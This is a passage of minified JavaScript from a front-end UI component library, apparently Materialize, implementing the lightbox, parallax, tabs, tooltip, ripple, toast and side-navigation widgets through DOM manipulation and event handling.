t=this,e={targets:this.el,width:this.originalWidth,height:this.originalHeight,left:0,top:0,duration:this.options.outDuration,easing:"easeOutQuad",complete:function(){t.placeholder.css({height:"",width:"",position:"",top:"",left:""}),t.attrWidth&&t.$el.attr("width",t.attrWidth),t.attrHeight&&t.$el.attr("height",t.attrHeight),t.$el.removeAttr("style"),t.originInlineStyles&&t.$el.attr("style",t.originInlineStyles),t.$el.removeClass("active"),t.doneAnimating=!0,t.ancestorsChanged.length&&t.ancestorsChanged.css("overflow",""),"function"==typeof t.options.onCloseEnd&&t.options.onCloseEnd.call(t,t.el)}};a(e)}},{key:"_updateVars",value:function(){this.windowWidth=window.innerWidth,this.windowHeight=window.innerHeight,this.caption=this.el.getAttribute("data-caption")||""}},{key:"open",value:function(){var t=this;this._updateVars(),this.originalWidth=this.el.getBoundingClientRect().width,this.originalHeight=this.el.getBoundingClientRect().height,this.doneAnimating=!1,this.$el.addClass("active"),this.overlayActive=!0,"function"==typeof this.options.onOpenStart&&this.options.onOpenStart.call(this,this.el),this.placeholder.css({width:this.placeholder[0].getBoundingClientRect().width+"px",height:this.placeholder[0].getBoundingClientRect().height+"px",position:"relative",top:0,left:0}),this._makeAncestorsOverflowVisible(),this.$el.css({position:"absolute","z-index":1e3,"will-change":"left, top, width, height"}),this.attrWidth=this.$el.attr("width"),this.attrHeight=this.$el.attr("height"),this.attrWidth&&(this.$el.css("width",this.attrWidth+"px"),this.$el.removeAttr("width")),this.attrHeight&&(this.$el.css("width",this.attrHeight+"px"),this.$el.removeAttr("height")),this.$overlay=o('<div id="materialbox-overlay"></div>').css({opacity:0}).one("click",function(){t.doneAnimating&&t.close()}),this.$el.before(this.$overlay);var e=this.$overlay[0].getBoundingClientRect();this.$overlay.css({width:this.windowWidth+"px",height:this.windowHeight+"px",left:-1*e.left+"px",top:-1*e.top+"px"}),a.remove(this.el),a.remove(this.$overlay[0]),a({targets:this.$overlay[0],opacity:1,duration:this.options.inDuration,easing:"easeOutQuad"}),""!==this.caption&&(this.$photocaption&&a.remove(this.$photoCaption[0]),this.$photoCaption=o('<div class="materialbox-caption"></div>'),this.$photoCaption.text(this.caption),o("body").append(this.$photoCaption),this.$photoCaption.css({display:"inline"}),a({targets:this.$photoCaption[0],opacity:1,duration:this.options.inDuration,easing:"easeOutQuad"}));var i=0,n=this.originalWidth/this.windowWidth,s=this.originalHeight/this.windowHeight;this.newWidth=0,this.newHeight=0,s<n?(i=this.originalHeight/this.originalWidth,this.newWidth=.9*this.windowWidth,this.newHeight=.9*this.windowWidth*i):(i=this.originalWidth/this.originalHeight,this.newWidth=.9*this.windowHeight*i,this.newHeight=.9*this.windowHeight),this._animateImageIn(),this._handleWindowScrollBound=this._handleWindowScroll.bind(this),this._handleWindowResizeBound=this._handleWindowResize.bind(this),this._handleWindowEscapeBound=this._handleWindowEscape.bind(this),window.addEventListener("scroll",this._handleWindowScrollBound),window.addEventListener("resize",this._handleWindowResizeBound),window.addEventListener("keyup",this._handleWindowEscapeBound)}},{key:"close",value:function(){var t=this;this._updateVars(),this.doneAnimating=!1,"function"==typeof this.options.onCloseStart&&this.options.onCloseStart.call(this,this.el),a.remove(this.el),a.remove(this.$overlay[0]),""!==this.caption&&a.remove(this.$photoCaption[0]),window.removeEventListener("scroll",this._handleWindowScrollBound),window.removeEventListener("resize",this._handleWindowResizeBound),window.removeEventListener("keyup",this._handleWindowEscapeBound),a({targets:this.$overlay[0],opacity:0,duration:this.options.outDuration,easing:"easeOutQuad",complete:function(){t.overlayActive=!1,t.$overlay.remove()}}),this._animateImageOut(),""!==this.caption&&a({targets:this.$photoCaption[0],opacity:0,duration:this.options.outDuration,easing:"easeOutQuad",complete:function(){t.$photoCaption.remove()}})}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Materialbox}},{key:"defaults",get:function(){return e}}]),n}();M.Materialbox=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"materialbox","M_Materialbox")}(cash,M.anime),function(s){"use strict";var e={responsiveThreshold:0},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Parallax=i).options=s.extend({},n.defaults,e),i._enabled=window.innerWidth>i.options.responsiveThreshold,i.$img=i.$el.find("img").first(),i.$img.each(function(){this.complete&&s(this).trigger("load")}),i._updateParallax(),i._setupEventHandlers(),i._setupStyles(),n._parallaxes.push(i),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){n._parallaxes.splice(n._parallaxes.indexOf(this),1),this.$img[0].style.transform="",this._removeEventHandlers(),this.$el[0].M_Parallax=void 0}},{key:"_setupEventHandlers",value:function(){this._handleImageLoadBound=this._handleImageLoad.bind(this),this.$img[0].addEventListener("load",this._handleImageLoadBound),0===n._parallaxes.length&&(n._handleScrollThrottled=M.throttle(n._handleScroll,5),window.addEventListener("scroll",n._handleScrollThrottled),n._handleWindowResizeThrottled=M.throttle(n._handleWindowResize,5),window.addEventListener("resize",n._handleWindowResizeThrottled))}},{key:"_removeEventHandlers",value:function(){this.$img[0].removeEventListener("load",this._handleImageLoadBound),0===n._parallaxes.length&&(window.removeEventListener("scroll",n._handleScrollThrottled),window.removeEventListener("resize",n._handleWindowResizeThrottled))}},{key:"_setupStyles",value:function(){this.$img[0].style.opacity=1}},{key:"_handleImageLoad",value:function(){this._updateParallax()}},{key:"_updateParallax",value:function(){var t=0<this.$el.height()?this.el.parentNode.offsetHeight:500,e=this.$img[0].offsetHeight-t,i=this.$el.offset().top+t,n=this.$el.offset().top,s=M.getDocumentScrollTop(),o=window.innerHeight,a=e*((s+o-n)/(t+o));this._enabled?s<i&&n<s+o&&(this.$img[0].style.transform="translate3D(-50%, "+a+"px, 0)"):this.$img[0].style.transform=""}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Parallax}},{key:"_handleScroll",value:function(){for(var t=0;t<n._parallaxes.length;t++){var e=n._parallaxes[t];e._updateParallax.call(e)}}},{key:"_handleWindowResize",value:function(){for(var t=0;t<n._parallaxes.length;t++){var e=n._parallaxes[t];e._enabled=window.innerWidth>e.options.responsiveThreshold}}},{key:"defaults",get:function(){return e}}]),n}();t._parallaxes=[],M.Parallax=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"parallax","M_Parallax")}(cash),function(a,s){"use strict";var e={duration:300,onShow:null,swipeable:!1,responsiveThreshold:1/0},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Tabs=i).options=a.extend({},n.defaults,e),i.$tabLinks=i.$el.children("li.tab").children("a"),i.index=0,i._setupActiveTabLink(),i.options.swipeable?i._setupSwipeableTabs():i._setupNormalTabs(),i._setTabsAndTabWidth(),i._createIndicator(),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this._indicator.parentNode.removeChild(this._indicator),this.options.swipeable?this._teardownSwipeableTabs():this._teardownNormalTabs(),this.$el[0].M_Tabs=void 0}},{key:"_setupEventHandlers",value:function(){this._handleWindowResizeBound=this._handleWindowResize.bind(this),window.addEventListener("resize",this._handleWindowResizeBound),this._handleTabClickBound=this._handleTabClick.bind(this),this.el.addEventListener("click",this._handleTabClickBound)}},{key:"_removeEventHandlers",value:function(){window.removeEventListener("resize",this._handleWindowResizeBound),this.el.removeEventListener("click",this._handleTabClickBound)}},{key:"_handleWindowResize",value:function(){this._setTabsAndTabWidth(),0!==this.tabWidth&&0!==this.tabsWidth&&(this._indicator.style.left=this._calcLeftPos(this.$activeTabLink)+"px",this._indicator.style.right=this._calcRightPos(this.$activeTabLink)+"px")}},{key:"_handleTabClick",value:function(t){var e=this,i=a(t.target).closest("li.tab"),n=a(t.target).closest("a");if(n.length&&n.parent().hasClass("tab"))if(i.hasClass("disabled"))t.preventDefault();else if(!n.attr("target")){this.$activeTabLink.removeClass("active");var s=this.$content;this.$activeTabLink=n,this.$content=a(M.escapeHash(n[0].hash)),this.$tabLinks=this.$el.children("li.tab").children("a"),this.$activeTabLink.addClass("active");var o=this.index;this.index=Math.max(this.$tabLinks.index(n),0),this.options.swipeable?this._tabsCarousel&&this._tabsCarousel.set(this.index,function(){"function"==typeof e.options.onShow&&e.options.onShow.call(e,e.$content[0])}):this.$content.length&&(this.$content[0].style.display="block",this.$content.addClass("active"),"function"==typeof this.options.onShow&&this.options.onShow.call(this,this.$content[0]),s.length&&!s.is(this.$content)&&(s[0].style.display="none",s.removeClass("active"))),this._setTabsAndTabWidth(),this._animateIndicator(o),t.preventDefault()}}},{key:"_createIndicator",value:function(){var t=this,e=document.createElement("li");e.classList.add("indicator"),this.el.appendChild(e),this._indicator=e,setTimeout(function(){t._indicator.style.left=t._calcLeftPos(t.$activeTabLink)+"px",t._indicator.style.right=t._calcRightPos(t.$activeTabLink)+"px"},0)}},{key:"_setupActiveTabLink",value:function(){this.$activeTabLink=a(this.$tabLinks.filter('[href="'+location.hash+'"]')),0===this.$activeTabLink.length&&(this.$activeTabLink=this.$el.children("li.tab").children("a.active").first()),0===this.$activeTabLink.length&&(this.$activeTabLink=this.$el.children("li.tab").children("a").first()),this.$tabLinks.removeClass("active"),this.$activeTabLink[0].classList.add("active"),this.index=Math.max(this.$tabLinks.index(this.$activeTabLink),0),this.$activeTabLink.length&&(this.$content=a(M.escapeHash(this.$activeTabLink[0].hash)),this.$content.addClass("active"))}},{key:"_setupSwipeableTabs",value:function(){var i=this;window.innerWidth>this.options.responsiveThreshold&&(this.options.swipeable=!1);var n=a();this.$tabLinks.each(function(t){var e=a(M.escapeHash(t.hash));e.addClass("carousel-item"),n=n.add(e)});var t=a('<div class="tabs-content carousel carousel-slider"></div>');n.first().before(t),t.append(n),n[0].style.display="";var e=this.$activeTabLink.closest(".tab").index();this._tabsCarousel=M.Carousel.init(t[0],{fullWidth:!0,noWrap:!0,onCycleTo:function(t){var e=i.index;i.index=a(t).index(),i.$activeTabLink.removeClass("active"),i.$activeTabLink=i.$tabLinks.eq(i.index),i.$activeTabLink.addClass("active"),i._animateIndicator(e),"function"==typeof i.options.onShow&&i.options.onShow.call(i,i.$content[0])}}),this._tabsCarousel.set(e)}},{key:"_teardownSwipeableTabs",value:function(){var t=this._tabsCarousel.$el;this._tabsCarousel.destroy(),t.after(t.children()),t.remove()}},{key:"_setupNormalTabs",value:function(){this.$tabLinks.not(this.$activeTabLink).each(function(t){if(t.hash){var e=a(M.escapeHash(t.hash));e.length&&(e[0].style.display="none")}})}},{key:"_teardownNormalTabs",value:function(){this.$tabLinks.each(function(t){if(t.hash){var e=a(M.escapeHash(t.hash));e.length&&(e[0].style.display="")}})}},{key:"_setTabsAndTabWidth",value:function(){this.tabsWidth=this.$el.width(),this.tabWidth=Math.max(this.tabsWidth,this.el.scrollWidth)/this.$tabLinks.length}},{key:"_calcRightPos",value:function(t){return Math.ceil(this.tabsWidth-t.position().left-t[0].getBoundingClientRect().width)}},{key:"_calcLeftPos",value:function(t){return Math.floor(t.position().left)}},{key:"updateTabIndicator",value:function(){this._setTabsAndTabWidth(),this._animateIndicator(this.index)}},{key:"_animateIndicator",value:function(t){var e=0,i=0;0<=this.index-t?e=90:i=90;var n={targets:this._indicator,left:{value:this._calcLeftPos(this.$activeTabLink),delay:e},right:{value:this._calcRightPos(this.$activeTabLink),delay:i},duration:this.options.duration,easing:"easeOutQuad"};s.remove(this._indicator),s(n)}},{key:"select",value:function(t){var e=this.$tabLinks.filter('[href="#'+t+'"]');e.length&&e.trigger("click")}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Tabs}},{key:"defaults",get:function(){return e}}]),n}();M.Tabs=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"tabs","M_Tabs")}(cash,M.anime),function(d,e){"use strict";var i={exitDelay:200,enterDelay:0,html:null,margin:5,inDuration:250,outDuration:200,position:"bottom",transitionMovement:10},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Tooltip=i).options=d.extend({},n.defaults,e),i.isOpen=!1,i.isHovered=!1,i.isFocused=!1,i._appendTooltipEl(),i._setupEventHandlers(),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){d(this.tooltipEl).remove(),this._removeEventHandlers(),this.el.M_Tooltip=void 0}},{key:"_appendTooltipEl",value:function(){var t=document.createElement("div");t.classList.add("material-tooltip"),this.tooltipEl=t;var e=document.createElement("div");e.classList.add("tooltip-content"),e.innerHTML=this.options.html,t.appendChild(e),document.body.appendChild(t)}},{key:"_updateTooltipContent",value:function(){this.tooltipEl.querySelector(".tooltip-content").innerHTML=this.options.html}},{key:"_setupEventHandlers",value:function(){this._handleMouseEnterBound=this._handleMouseEnter.bind(this),this._handleMouseLeaveBound=this._handleMouseLeave.bind(this),this._handleFocusBound=this._handleFocus.bind(this),this._handleBlurBound=this._handleBlur.bind(this),this.el.addEventListener("mouseenter",this._handleMouseEnterBound),this.el.addEventListener("mouseleave",this._handleMouseLeaveBound),this.el.addEventListener("focus",this._handleFocusBound,!0),this.el.addEventListener("blur",this._handleBlurBound,!0)}},{key:"_removeEventHandlers",value:function(){this.el.removeEventListener("mouseenter",this._handleMouseEnterBound),this.el.removeEventListener("mouseleave",this._handleMouseLeaveBound),this.el.removeEventListener("focus",this._handleFocusBound,!0),this.el.removeEventListener("blur",this._handleBlurBound,!0)}},{key:"open",value:function(t){this.isOpen||(t=void 0===t||void 0,this.isOpen=!0,this.options=d.extend({},this.options,this._getAttributeOptions()),this._updateTooltipContent(),this._setEnterDelayTimeout(t))}},{key:"close",value:function(){this.isOpen&&(this.isHovered=!1,this.isFocused=!1,this.isOpen=!1,this._setExitDelayTimeout())}},{key:"_setExitDelayTimeout",value:function(){var t=this;clearTimeout(this._exitDelayTimeout),this._exitDelayTimeout=setTimeout(function(){t.isHovered||t.isFocused||t._animateOut()},this.options.exitDelay)}},{key:"_setEnterDelayTimeout",value:function(t){var e=this;clearTimeout(this._enterDelayTimeout),this._enterDelayTimeout=setTimeout(function(){(e.isHovered||e.isFocused||t)&&e._animateIn()},this.options.enterDelay)}},{key:"_positionTooltip",value:function(){var t,e=this.el,i=this.tooltipEl,n=e.offsetHeight,s=e.offsetWidth,o=i.offsetHeight,a=i.offsetWidth,r=this.options.margin,l=void 0,h=void 0;this.xMovement=0,this.yMovement=0,l=e.getBoundingClientRect().top+M.getDocumentScrollTop(),h=e.getBoundingClientRect().left+M.getDocumentScrollLeft(),"top"===this.options.position?(l+=-o-r,h+=s/2-a/2,this.yMovement=-this.options.transitionMovement):"right"===this.options.position?(l+=n/2-o/2,h+=s+r,this.xMovement=this.options.transitionMovement):"left"===this.options.position?(l+=n/2-o/2,h+=-a-r,this.xMovement=-this.options.transitionMovement):(l+=n+r,h+=s/2-a/2,this.yMovement=this.options.transitionMovement),t=this._repositionWithinScreen(h,l,a,o),d(i).css({top:t.y+"px",left:t.x+"px"})}},{key:"_repositionWithinScreen",value:function(t,e,i,n){var s=M.getDocumentScrollLeft(),o=M.getDocumentScrollTop(),a=t-s,r=e-o,l={left:a,top:r,width:i,height:n},h=this.options.margin+this.options.transitionMovement,d=M.checkWithinContainer(document.body,l,h);return d.left?a=h:d.right&&(a-=a+i-window.innerWidth),d.top?r=h:d.bottom&&(r-=r+n-window.innerHeight),{x:a+s,y:r+o}}},{key:"_animateIn",value:function(){this._positionTooltip(),this.tooltipEl.style.visibility="visible",e.remove(this.tooltipEl),e({targets:this.tooltipEl,opacity:1,translateX:this.xMovement,translateY:this.yMovement,duration:this.options.inDuration,easing:"easeOutCubic"})}},{key:"_animateOut",value:function(){e.remove(this.tooltipEl),e({targets:this.tooltipEl,opacity:0,translateX:0,translateY:0,duration:this.options.outDuration,easing:"easeOutCubic"})}},{key:"_handleMouseEnter",value:function(){this.isHovered=!0,this.isFocused=!1,this.open(!1)}},{key:"_handleMouseLeave",value:function(){this.isHovered=!1,this.isFocused=!1,this.close()}},{key:"_handleFocus",value:function(){M.tabPressed&&(this.isFocused=!0,this.open(!1))}},{key:"_handleBlur",value:function(){this.isFocused=!1,this.close()}},{key:"_getAttributeOptions",value:function(){var t={},e=this.el.getAttribute("data-tooltip"),i=this.el.getAttribute("data-position");return e&&(t.html=e),i&&(t.position=i),t}}],[{key:"init",value:function(t,e){return _get(n.__proto__||Object.getPrototypeOf(n),"init",this).call(this,this,t,e)}},{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Tooltip}},{key:"defaults",get:function(){return i}}]),n}();M.Tooltip=t,M.jQueryLoaded&&M.initializeJqueryWrapper(t,"tooltip","M_Tooltip")}(cash,M.anime),function(i){"use strict";var t=t||{},e=document.querySelectorAll.bind(document);function m(t){var e="";for(var i in t)t.hasOwnProperty(i)&&(e+=i+":"+t[i]+";");return e}var g={duration:750,show:function(t,e){if(2===t.button)return!1;var i=e||this,n=document.createElement("div");n.className="waves-ripple",i.appendChild(n);var s,o,a,r,l,h,d,u=(h={top:0,left:0},d=(s=i)&&s.ownerDocument,o=d.documentElement,void 0!==s.getBoundingClientRect&&(h=s.getBoundingClientRect()),a=null!==(l=r=d)&&l===l.window?r:9===r.nodeType&&r.defaultView,{top:h.top+a.pageYOffset-o.clientTop,left:h.left+a.pageXOffset-o.clientLeft}),c=t.pageY-u.top,p=t.pageX-u.left,v="scale("+i.clientWidth/100*10+")";"touches"in t&&(c=t.touches[0].pageY-u.top,p=t.touches[0].pageX-u.left),n.setAttribute("data-hold",Date.now()),n.setAttribute("data-scale",v),n.setAttribute("data-x",p),n.setAttribute("data-y",c);var f={top:c+"px",left:p+"px"};n.className=n.className+" waves-notransition",n.setAttribute("style",m(f)),n.className=n.className.replace("waves-notransition",""),f["-webkit-transform"]=v,f["-moz-transform"]=v,f["-ms-transform"]=v,f["-o-transform"]=v,f.transform=v,f.opacity="1",f["-webkit-transition-duration"]=g.duration+"ms",f["-moz-transition-duration"]=g.duration+"ms",f["-o-transition-duration"]=g.duration+"ms",f["transition-duration"]=g.duration+"ms",f["-webkit-transition-timing-function"]="cubic-bezier(0.250, 0.460, 0.450, 0.940)",f["-moz-transition-timing-function"]="cubic-bezier(0.250, 0.460, 0.450, 0.940)",f["-o-transition-timing-function"]="cubic-bezier(0.250, 0.460, 0.450, 0.940)",f["transition-timing-function"]="cubic-bezier(0.250, 0.460, 0.450, 0.940)",n.setAttribute("style",m(f))},hide:function(t){l.touchup(t);var e=this,i=(e.clientWidth,null),n=e.getElementsByClassName("waves-ripple");if(!(0<n.length))return!1;var s=(i=n[n.length-1]).getAttribute("data-x"),o=i.getAttribute("data-y"),a=i.getAttribute("data-scale"),r=350-(Date.now()-Number(i.getAttribute("data-hold")));r<0&&(r=0),setTimeout(function(){var t={top:o+"px",left:s+"px",opacity:"0","-webkit-transition-duration":g.duration+"ms","-moz-transition-duration":g.duration+"ms","-o-transition-duration":g.duration+"ms","transition-duration":g.duration+"ms","-webkit-transform":a,"-moz-transform":a,"-ms-transform":a,"-o-transform":a,transform:a};i.setAttribute("style",m(t)),setTimeout(function(){try{e.removeChild(i)}catch(t){return!1}},g.duration)},r)},wrapInput:function(t){for(var e=0;e<t.length;e++){var i=t[e];if("input"===i.tagName.toLowerCase()){var n=i.parentNode;if("i"===n.tagName.toLowerCase()&&-1!==n.className.indexOf("waves-effect"))continue;var s=document.createElement("i");s.className=i.className+" waves-input-wrapper";var o=i.getAttribute("style");o||(o=""),s.setAttribute("style",o),i.className="waves-button-input",i.removeAttribute("style"),n.replaceChild(s,i),s.appendChild(i)}}}},l={touches:0,allowEvent:function(t){var e=!0;return"touchstart"===t.type?l.touches+=1:"touchend"===t.type||"touchcancel"===t.type?setTimeout(function(){0<l.touches&&(l.touches-=1)},500):"mousedown"===t.type&&0<l.touches&&(e=!1),e},touchup:function(t){l.allowEvent(t)}};function n(t){var e=function(t){if(!1===l.allowEvent(t))return null;for(var e=null,i=t.target||t.srcElement;null!==i.parentNode;){if(!(i instanceof SVGElement)&&-1!==i.className.indexOf("waves-effect")){e=i;break}i=i.parentNode}return e}(t);null!==e&&(g.show(t,e),"ontouchstart"in i&&(e.addEventListener("touchend",g.hide,!1),e.addEventListener("touchcancel",g.hide,!1)),e.addEventListener("mouseup",g.hide,!1),e.addEventListener("mouseleave",g.hide,!1),e.addEventListener("dragend",g.hide,!1))}t.displayEffect=function(t){"duration"in(t=t||{})&&(g.duration=t.duration),g.wrapInput(e(".waves-effect")),"ontouchstart"in i&&document.body.addEventListener("touchstart",n,!1),document.body.addEventListener("mousedown",n,!1)},t.attach=function(t){"input"===t.tagName.toLowerCase()&&(g.wrapInput([t]),t=t.parentNode),"ontouchstart"in i&&t.addEventListener("touchstart",n,!1),t.addEventListener("mousedown",n,!1)},i.Waves=t,document.addEventListener("DOMContentLoaded",function(){t.displayEffect()},!1)}(window),function(i,n){"use strict";var t={html:"",displayLength:4e3,inDuration:300,outDuration:375,classes:"",completeCallback:null,activationPercent:.8},e=function(){function s(t){_classCallCheck(this,s),this.options=i.extend({},s.defaults,t),this.message=this.options.html,this.panning=!1,this.timeRemaining=this.options.displayLength,0===s._toasts.length&&s._createContainer(),s._toasts.push(this);var e=this._createToast();(e.M_Toast=this).el=e,this.$el=i(e),this._animateIn(),this._setTimer()}return _createClass(s,[{key:"_createToast",value:function(){var t=document.createElement("div");return t.classList.add("toast"),this.options.classes.length&&i(t).addClass(this.options.classes),("object"==typeof HTMLElement?this.message instanceof HTMLElement:this.message&&"object"==typeof this.message&&null!==this.message&&1===this.message.nodeType&&"string"==typeof this.message.nodeName)?t.appendChild(this.message):this.message.jquery?i(t).append(this.message[0]):t.innerHTML=this.message,s._container.appendChild(t),t}},{key:"_animateIn",value:function(){n({targets:this.el,top:0,opacity:1,duration:this.options.inDuration,easing:"easeOutCubic"})}},{key:"_setTimer",value:function(){var t=this;this.timeRemaining!==1/0&&(this.counterInterval=setInterval(function(){t.panning||(t.timeRemaining-=20),t.timeRemaining<=0&&t.dismiss()},20))}},{key:"dismiss",value:function(){var t=this;window.clearInterval(this.counterInterval);var e=this.el.offsetWidth*this.options.activationPercent;this.wasSwiped&&(this.el.style.transition="transform .05s, opacity .05s",this.el.style.transform="translateX("+e+"px)",this.el.style.opacity=0),n({targets:this.el,opacity:0,marginTop:-40,duration:this.options.outDuration,easing:"easeOutExpo",complete:function(){"function"==typeof t.options.completeCallback&&t.options.completeCallback(),t.$el.remove(),s._toasts.splice(s._toasts.indexOf(t),1),0===s._toasts.length&&s._removeContainer()}})}}],[{key:"getInstance",value:function(t){return(t.jquery?t[0]:t).M_Toast}},{key:"_createContainer",value:function(){var t=document.createElement("div");t.setAttribute("id","toast-container"),t.addEventListener("touchstart",s._onDragStart),t.addEventListener("touchmove",s._onDragMove),t.addEventListener("touchend",s._onDragEnd),t.addEventListener("mousedown",s._onDragStart),document.addEventListener("mousemove",s._onDragMove),document.addEventListener("mouseup",s._onDragEnd),document.body.appendChild(t),s._container=t}},{key:"_removeContainer",value:function(){document.removeEventListener("mousemove",s._onDragMove),document.removeEventListener("mouseup",s._onDragEnd),i(s._container).remove(),s._container=null}},{key:"_onDragStart",value:function(t){if(t.target&&i(t.target).closest(".toast").length){var e=i(t.target).closest(".toast")[0].M_Toast;e.panning=!0,(s._draggedToast=e).el.classList.add("panning"),e.el.style.transition="",e.startingXPos=s._xPos(t),e.time=Date.now(),e.xPos=s._xPos(t)}}},{key:"_onDragMove",value:function(t){if(s._draggedToast){t.preventDefault();var e=s._draggedToast;e.deltaX=Math.abs(e.xPos-s._xPos(t)),e.xPos=s._xPos(t),e.velocityX=e.deltaX/(Date.now()-e.time),e.time=Date.now();var i=e.xPos-e.startingXPos,n=e.el.offsetWidth*e.options.activationPercent;e.el.style.transform="translateX("+i+"px)",e.el.style.opacity=1-Math.abs(i/n)}}},{key:"_onDragEnd",value:function(){if(s._draggedToast){var t=s._draggedToast;t.panning=!1,t.el.classList.remove("panning");var e=t.xPos-t.startingXPos,i=t.el.offsetWidth*t.options.activationPercent;Math.abs(e)>i||1<t.velocityX?(t.wasSwiped=!0,t.dismiss()):(t.el.style.transition="transform .2s, opacity .2s",t.el.style.transform="",t.el.style.opacity=""),s._draggedToast=null}}},{key:"_xPos",value:function(t){return t.targetTouches&&1<=t.targetTouches.length?t.targetTouches[0].clientX:t.clientX}},{key:"dismissAll",value:function(){for(var t in s._toasts)s._toasts[t].dismiss()}},{key:"defaults",get:function(){return t}}]),s}();e._toasts=[],e._container=null,e._draggedToast=null,M.Toast=e,M.toast=function(t){return new e(t)}}(cash,M.anime),function(s,o){"use strict";var e={edge:"left",draggable:!0,inDuration:250,outDuration:200,onOpenStart:null,onOpenEnd:null,onCloseStart:null,onCloseEnd:null,preventScrolling:!0},t=function(t){function n(t,e){_classCallCheck(this,n);var i=_possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,n,t,e));return(i.el.M_Sidenav=i).id=i.$el.attr("id"),i.options=s.extend({},n.defaults,e),i.isOpen=!1,i.isFixed=i.el.classList.contains("sidenav-fixed"),i.isDragged=!1,i.lastWindowWidth=window.innerWidth,i.lastWindowHeight=window.innerHeight,i._createOverlay(),i._createDragTarget(),i._setupEventHandlers(),i._setupClasses(),i._setupFixed(),n._sidenavs.push(i),i}return _inherits(n,Component),_createClass(n,[{key:"destroy",value:function(){this._removeEventHandlers(),this._enableBodyScrolling(),this._overlay.parentNode.removeChild(this._overlay),this.dragTarget.parentNode.removeChild(this.dragTarget),this.el.M_Sidenav=void 0,this.el.style.transform="";var t=n._sidenavs.indexOf(this);0<=t&&n._sidenavs.splice(t,1)}},{key:"_createOverlay",value:function(){var t=document.createElement("div");this._closeBound=this.close.bind(this),t.classList.add("sidenav-overlay"),t.addEventListener("click",this._closeBound),document.body.appendChild(t),this._overlay=t}},{key:"_setupEventHandlers",value:function(){0===n._sidenavs.length&&document.body.addEventListener("click",this._handleTriggerClick),this._handleDragTargetDragBound=this._handleDragTargetDrag.bind(this),this._handleDragTargetReleaseBound=this._handleDragTargetRelease.bind(this),this._handleCloseDragBound=this._handleCloseDrag.bind(this),this._handleCloseReleaseBound=this._handleCloseRelease.bind(this),this._handleCloseTriggerClickBound=this._handleCloseTriggerClick.bind(this),this.dragTarget.addEventListener("touchmove",this._handleDragTargetDragBound),this.dragTarget.addEventListener("touchend",this._handleDragTargetReleaseBound),this._overlay.addEventListener("touchmove",this._handleCloseDragBound),this._overlay.addEventListener("touchend",this._handleCloseReleaseBound),this.el.addEventListener("touchmove",this._handleCloseDragBound),this.el.addEventListener("touchend",this._handleCloseReleaseBound),this.el.addEventListener("click",this._handleCloseTriggerClickBound),this.isFixed&&(this._handleWindowResizeBound=this._handleWindowResize.bind(this),window.addEventListener("resize",this._handleWindowResizeBound))}},{key:"_removeEventHandlers",value:function(){1===n._sidenavs.length&&document.body.removeEventListener("click",this._handleTriggerClick),this.dragTarget.removeEventListener("touchmove",this._handleDragTargetDragBound),this.dragTarget.removeEventListener("touchend",this._handleDragTargetReleaseBound),this._overlay.removeEventListener("touchmove",this._handleCloseDragBound),this._overlay.removeEventListener("touchend",this._handleCloseReleaseBound),this.el.removeEventListener("touchmove",this._handleCloseDragBound),this.el.removeEventListener("touchend",this._handleCloseReleaseBound),this.el.removeEventListener("click",this._handleCloseTriggerClickBound),this.isFixed&&window.removeEventListener("resize",this._handleWindowResizeBound)}},{key:"_handleTriggerClick",value:function(t){var e=s(t.target).closest(".sidenav-trigger");if(t.target&&e.length){var i=M.getIdFromTrigger(e[0]),n=document.getElementById(i).M_Sidenav;n&&n.open(e),t.preventDefault()}}},{key:"_startDrag",value:function(t){var e=t.targetTouches[0].clientX;this.isDragged=!0,this._startingXpos=e,this._xPos=this._startingXpos,this._time=Date.now(),this._width=this.el.getBoundingClientRect().width,this._overlay.style.display="block",this._initialScrollTop=this.isOpen?this.el.scrollTop:M.getDocumentScrollTop(),this._verticallyScrolling=!1,o.remove(this.el),o.remove(this._overlay)}},{key:"_dragMoveUpdate",value:function(t){var e=t.targetTouches[0].clientX,i=this.isOpen?this.el.scrollTop:M.getDocumentScrollTop();this.deltaX=Math.abs(this._xPos-e),this._xPos=e,this.velocityX=this.deltaX/(Date.now()-this._time),this._time=Date.now(),this._initialScrollTop!==i&&(this._verticallyScrolling=!0)}},{key:"_handleDragTargetDrag",value:function(t){if(this.options.draggable&&!this._isCurrentlyFixed()&&!this._verticallyScrolling){this.isDragged||this._startDrag(t),this._dragMoveUpdate(t);var e=this._xPos-this._startingXpos,i=0<e?"right":"left";e=Math.min(this._width,Math.abs(e)),this.options.edge===i&&(e=0);var n=e,s="translateX(-100%)";"right"===this.options.edge&&(s="translateX(100%)",n=-n),this.percentOpen=Math.min(1,e/this._width),this.el.style.transform=s+" translateX("+n+"px)",this._overlay.style.opacity=this.percentOpen}}},{key:"_handleDragTargetRelease",value:function(){this.isDragged&&(.2<this.percentOpen?this.open():this._animateOut(),this.isDragged=!1,this._verticallyScrolling=!1)}},{key:"_handleCloseDrag",value:function(t){if(this.isOpen){if(!this.options.draggable||this._isCurrentlyFixed()||this._verticallyScrolling)return;this.isDragged||this._startDrag(t),this._dragMoveUpdate(t);var 